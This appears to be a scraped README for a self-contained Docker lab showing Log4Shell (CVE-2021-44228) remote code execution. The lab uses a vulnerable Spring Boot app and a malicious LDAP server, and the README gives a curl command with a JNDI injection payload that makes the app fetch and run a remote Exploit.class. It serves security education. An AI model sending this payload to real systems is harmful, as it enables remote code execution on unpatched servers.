
Docker-based RCE exploit demo for Log4Shell (CVE-2021-44228) with vulnerable Spring Boot app, malicious LDAP server, and payload delivery via JNDI injection.
This project simulates an RCE attack scenario through the Log4Shell vulnerability in the Apache Log4j 2 library.
Exploit.class file.Requires Docker and Docker Compose to be installed.
docker compose up --build
Wait until both containers are ready. vulnerable-app will run on port 8080.
Open a new terminal and send a request containing the JNDI payload via the header:
X-Api-Versioncurl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/
vulnerable-app container. You will see the payload message has been logged.attacker container. You will see the LDAP connection redirected to the HTTP server./tmp/pwned file has been created inside the vulnerable-app container:docker exec -it vulnerable-app ls -la /tmp/pwned
If the file exists, it proves the malicious Exploit.class was executed successfully!
This project is for educational and security research purposes only. Absolutely do not use it for illegal purposes.